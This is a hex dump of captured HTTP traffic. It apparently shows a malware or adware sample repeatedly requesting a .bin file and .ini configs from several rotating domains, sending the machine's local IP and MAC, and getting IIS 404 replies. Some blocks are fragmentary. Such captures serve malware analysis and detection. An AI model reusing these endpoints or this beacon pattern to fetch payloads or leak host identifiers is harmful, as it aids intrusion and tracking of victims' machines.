0x00000130 (00304)   650d0a0d 0a3e4e6f 20737563 68206669   e....>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e696269 6e2e636f   .Host: inibin.co
0x00000100 (00256)   6d0d0a43 6f6e6e65 6374696f 6e3a2043   m..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2062 696e646f 776e2e63   .Host: bindown.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e65 676b6a2e   .Host: ini.egkj.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)   20323031 35203032 3a33363a 34362047    2015 02:36:46 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 7a7a696e   .Host: plus.zzin
0x00000100 (00256)   666f722e 636e0d0a 436f6e6e 65637469   for.cn..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a3c70 3e4e6f20 73756368   he....<p>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 736f6f6d   .Host: plus.soom
0x00000100 (00256)   656e672e 636f6d0d 0a436f6e 6e656374   eng.com..Connect
0x00000110 (00272)   696f6e3a 20436c6f 73650d0a 43616368   ion: Close..Cach
0x00000120 (00288)   652d436f 6e74726f 6c3a206e 6f2d6361   e-Control: no-ca
0x00000130 (00304)   6368650d 0a0d0a70 3e4e6f20 73756368   che....p>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 69636166   .Host: plus.icaf
0x00000100 (00256)   65616473 2e636f6d 0d0a436f 6e6e6563   eads.com..Connec
0x00000110 (00272)   74696f6e 3a20436c 6f73650d 0a436163   tion: Close..Cac
0x00000120 (00288)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000130 (00304)   61636865 0d0a0d0a 3e4e6f20 73756368   ache....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2064 6f776e69 6e692e63   .Host: downini.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e69787a 2e636f6d   .Host: inixz.com
0x00000100 (00256)   0d0a436f 6e6e6563 74696f6e 3a20436c   ..Connection: Cl
0x00000110 (00272)   6f73650d 0a436163 68652d43 6f6e7472   ose..Cache-Contr
0x00000120 (00288)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2064 772e7965 66622e63   .Host: dw.yefb.c
0x00000050 (00080)   6f6d0d0a 43616368 652d436f 6e74726f   om..Cache-Contro
0x00000060 (00096)   6c3a206e 6f2d6361 6368650d 0a0d0a6e   l: no-cache....n
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 696e6978 7a2e636f 6d0d0a43   st: inixz.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0d0a68    no-cache......h
0x00000130 (00304)   650d0a0d 0a3e4e6f 20737563 68206669   e....>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f353877 616e6777 65692f61   GET /58wangwei/a
0x00000010 (00016)   6e687569 2d303030 3030312e 696e6920   nhui-000001.ini 
0x00000020 (00032)   48545450 2f312e31 0d0a5573 65722d41   HTTP/1.1..User-A
0x00000030 (00048)   67656e74 3a204d53 444e2052 6561640d   gent: MSDN Read.
0x00000040 (00064)   0a486f73 743a2069 6e692e35 38717a2e   .Host: ini.58qz.
0x00000050 (00080)   636f6d0d 0a436163 68652d43 6f6e7472   com..Cache-Contr
0x00000060 (00096)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000070 (00112)   673a2064 65666c61 74650d0a 41636365   g: deflate..Acce
0x00000080 (00128)   70742d4c 616e6775 6167653a 207a682d   pt-Language: zh-
0x00000090 (00144)   636e0d0a 55736572 2d416765 6e743a20   cn..User-Agent: 
0x000000a0 (00160)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x000000b0 (00176)   70617469 626c653b 204d5349 4520362e   patible; MSIE 6.
0x000000c0 (00192)   303b2057 696e646f 7773204e 5420352e   0; Windows NT 5.
0x000000d0 (00208)   313b2053 56313b20 2e4e4554 20434c52   1; SV1; .NET CLR
0x000000e0 (00224)   20322e30 2e353037 32373b29 0d0a486f    2.0.50727;)..Ho
0x000000f0 (00240)   73743a20 696e6978 7a2e636f 6d0d0a43   st: inixz.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0d0a68    no-cache......h
0x00000130 (00304)   650d0a0d 0a3e4e6f 20737563 68206669   e....>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2069 6e696269 6e2e636f   .Host: inibin.co
0x00000100 (00256)   6d0d0a43 6f6e6e65 6374696f 6e3a2043   m..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2062 696e646f 776e2e63   .Host: bindown.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a6865 0d0a0d0a 3e4e6f20 73756368   ..he....>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
0x00000180 (00384)   64647265 73733e0a 20203c2f 626f6479   ddress>.  </body
0x00000190 (00400)   3e0a3c2f 68746d6c 3e0a                >.</html>.

0x00000000 (00000)   47455420 2f6d616a 756e2f69 70326366   GET /majun/ip2cf
0x00000010 (00016)   672f616e 6a696e67 77616e67 2e302e62   g/anjingwang.0.b
0x00000020 (00032)   696e3f76 65723d33 2e313830 266c6970   in?ver=3.180&lip
0x00000030 (00048)   3d313932 2e313638 2e312e32 266d6163   =192.168.1.2&mac
0x00000040 (00064)   3d585858 58585858 58585858 58204854   =XXXXXXXXXXXX HT
0x00000050 (00080)   54502f31 2e310d0a 41636365 70743a20   TP/1.1..Accept: 
0x00000060 (00096)   2a2f2a0d 0a416363 6570742d 456e636f   */*..Accept-Enco
0x00000070 (00112)   64696e67 3a206465 666c6174 650d0a41   ding: deflate..A
0x00000080 (00128)   63636570 742d4c61 6e677561 67653a20   ccept-Language: 
0x00000090 (00144)   7a682d63 6e0d0a55 7365722d 4167656e   zh-cn..User-Agen
0x000000a0 (00160)   743a204d 6f7a696c 6c612f34 2e302028   t: Mozilla/4.0 (
0x000000b0 (00176)   636f6d70 61746962 6c653b20 4d534945   compatible; MSIE
0x000000c0 (00192)   20362e30 3b205769 6e646f77 73204e54    6.0; Windows NT
0x000000d0 (00208)   20352e31 3b205356 313b202e 4e455420    5.1; SV1; .NET 
0x000000e0 (00224)   434c5220 322e302e 35303732 373b290d   CLR 2.0.50727;).
0x000000f0 (00240)   0a486f73 743a2070 6c75732e 7a7a696e   .Host: plus.zzin
0x00000100 (00256)   666f722e 636e0d0a 436f6e6e 65637469   for.cn..Connecti
0x00000110 (00272)   6f6e3a20 436c6f73 650d0a43 61636865   on: Close..Cache
0x00000120 (00288)   2d436f6e 74726f6c 3a206e6f 2d636163   -Control: no-cac
0x00000130 (00304)   68650d0a 0d0a0d0a 3e4e6f20 73756368   he......>No such
0x00000140 (00320)   2066696c 65206f72 20646972 6563746f    file or directo
0x00000150 (00336)   72792e3c 2f703e0a 20203c68 72202f3e   ry.</p>.  <hr />
0x00000160 (00352)   0a20203c 61646472 6573733e 4d696372   .  <address>Micr
0x00000170 (00368)   6f736f66 742d4949 532f372e 303c2f61   osoft-IIS/7.0</a
